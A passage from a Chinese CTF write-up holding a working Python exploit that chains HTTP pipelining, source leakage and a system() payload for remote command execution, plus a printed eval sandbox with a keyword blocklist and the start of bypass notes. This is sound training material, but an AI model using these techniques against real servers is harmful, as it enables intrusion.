leaf="">&#34;&lt;?php&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> content:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] 攻击成功！已获取 PHP 源码。&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[-] 未发现源码特征，可能是文件不存在或漏洞未触发。&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[-] 发生错误: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">HTTP/1.1 200 OK</span><span leaf=""><br/></span><span leaf="">Host: 61.147.171.103:59388</span><span leaf=""><br/></span><span leaf="">Date: Sat, 24 Jan 2026 03:36:07 +0000</span><span leaf=""><br/></span><span leaf="">Connection: close</span><span leaf=""><br/></span><span leaf="">Content-Type: text/plain; charset=UTF-8</span><span leaf=""><br/></span><span leaf="">Content-Length: 92</span><span leaf=""><br/></span><span leaf="">&lt;?php</span><span leaf=""><br/></span><span leaf="">@error_reporting(~E_ALL);</span><span leaf=""><br/></span><span leaf="">echo &#34;Hello World!&#34; . PHP_EOL;</span><span leaf=""><br/></span><span leaf="">// s3Cr37_f1L3.php.bak</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">读到了index.php的源码 注释了一个后门备份文件s3Cr37_f1L3.php.bak</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.27089337175792505" data-type="png" data-w="347" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030402" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c9eae98a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU03ibPCkq2lGkvMF32ibibGAHVvQIdDicl9QhzGwickeWtlhek9wyQkicPVHQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">直接访问s3Cr37_f1L3.php是没有的</span><span leaf=""><br/></span><span leaf="">Pipelining 漏洞 获取源码的那一套请求改成POST传参去RCE</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pwn</span></span><span style="line-height: 26px;"><span leaf="">(host, port, cmd)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 目标文件</span></span><span leaf=""><br/></span><span leaf="">    target_php = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/s3Cr37_f1L3.php&#34;</span></span><span leaf=""><br/></span><span leaf="">    target_bak = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/s3Cr37_f1L3.php.bak&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 构造 PHP 载荷：ob_clean 清空干扰，echo 做标记，die 结束</span></span><span leaf=""><br/></span><span leaf="">    php_payload = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;ob_clean(); echo &#39;---RESULT_START---&#39;; system(&#39;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{cmd}</span></span><span leaf="">&#39;); die();&#34;</span></span><span leaf=""><br/></span><span leaf="">    post_data = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;admin=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{php_payload}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># --- 请求 1: 源码泄露触发器 ---</span></span><span leaf=""><br/></span><span leaf="">    req1 = (</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;GET </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{target_bak}</span></span><span leaf=""> HTTP/1.1\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Host: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{host}</span></span><span leaf="">:</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{port}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># --- 请求 2: RCE 注入载荷 ---</span></span><span leaf=""><br/></span><span leaf="">    req2 = (</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;POST </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{target_php}</span></span><span leaf=""> HTTP/1.1\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Content-Length: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(post_data)}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{post_data}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    full_packet = req1 + req2</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><span leaf=""><br/></span><span leaf="">        s.settimeout(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        s.connect((host, port))</span><span leaf=""><br/></span><span leaf="">        s.sendall(full_packet.encode())</span><span leaf=""><br/></span><span leaf="">        response = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                chunk = s.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">                response += chunk</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">        s.close()</span><span leaf=""><br/></span><span leaf="">        res_text = response.decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ignore&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;---RESULT_START---&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res_text:</span><span leaf=""><br/></span><span leaf="">            output = res_text.split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;---RESULT_START---&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">].split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;HTTP/1.1&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">].strip()</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\n[!!!] 成功！命令 [</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{cmd}</span></span><span leaf="">] 执行结果：&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">40</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(output)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">40</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[-] 未能在响应中捕获到结果，正在检查原始回显...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res_text </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;etc&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res_text </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res_text:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[!] 发现异常回显，请检查全文。&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[-] 可能是竞态失败，请尝试重新运行脚本。&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[x] 网络错误: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    target_host = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;61.147.171.35&#34;</span></span><span leaf=""><br/></span><span leaf="">    target_port = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">60598</span></span><span leaf=""><br/></span><span leaf="">    pwn(target_host, target_port, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ls /&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">pwn(target_host, target_port, &#34;cat /flag_489e4af2f8f070ca&#34;)</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.22409909909909909" data-type="png" data-w="888" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030403" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=b46b4fae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0s6AIdH0VKmSuJNERouxK27WrtSV3NPPonwtkGEicqWsWr5TcMVJc1xg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">CheckIn</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有源码泄露</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5703703703703704" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030406" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2640a39e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0TPO3zqcBRZuCQm2hxJg9Y80B2YD4cjthx57tbvvAia2HIpiajlZY9tRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn226-te6kgm" style="color: #576B95 !important;" data-topic="1">#Python</a> 3.14.2</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> collections </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> UserList</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sys </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argv</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">LockedList</span></span><span style="line-height: 26px;"><span leaf="">(UserList)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__setitem__</span></span><span style="line-height: 26px;"><span leaf="">(self, key, value)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> Exception(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Assignment blocked!&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sandbox</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(argv) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ERROR: Missing code&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        status = LockedList([</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        status_id = id(status)</span><span leaf=""><br/></span><span leaf="">        user_input = argv[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">].encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;idna&#39;</span></span><span leaf="">).decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ascii&#39;</span></span><span leaf="">).rstrip(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#39;[0-9A-Z]&#39;</span></span><span leaf="">, user_input):</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;FORBIDDEN: No numbers or alphas&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#39;[_\s=+\[\],&#34;\&#39;\&lt;\&gt;\-\*@#$%^&amp;\\\|\{\}\:;]&#39;</span></span><span leaf="">, user_input):</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;FORBIDDEN: Incorrect symbol detected&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> re.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#39;(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)&#39;</span></span><span leaf="">, user_input.casefold()):</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;FORBIDDEN: Keywords detected&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(user_input) &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">60</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;FORBIDDEN: Input too long! Keep it concise and it is very simple.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        eval(user_input)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> status[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> id(status) == status_id:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/flag&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;r&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">                flag = f.read().strip()</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;SUCCESS! Flag: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{flag}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;FAILURE: status is still </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{status}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Don&#39;t be evil~ And I won&#39;t show you this error :)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    sandbox()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">看怎么绕过了</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">尝试不同输入后得到以下现象：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">含数字或字母：FORBIDDEN: No numbers or alphas 或 Don&#39;t be evil~</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">关键字（如 globals()）：FORBIDDEN: Keywords detected</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">纯符号如 () 可过，但会返回 FAILURE: status is still [False]</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">只能使用极少量内建函数与符号，避免触发关键词与数字/字母限制。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在函数作用域内 dir() 只返回 3 个变量：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 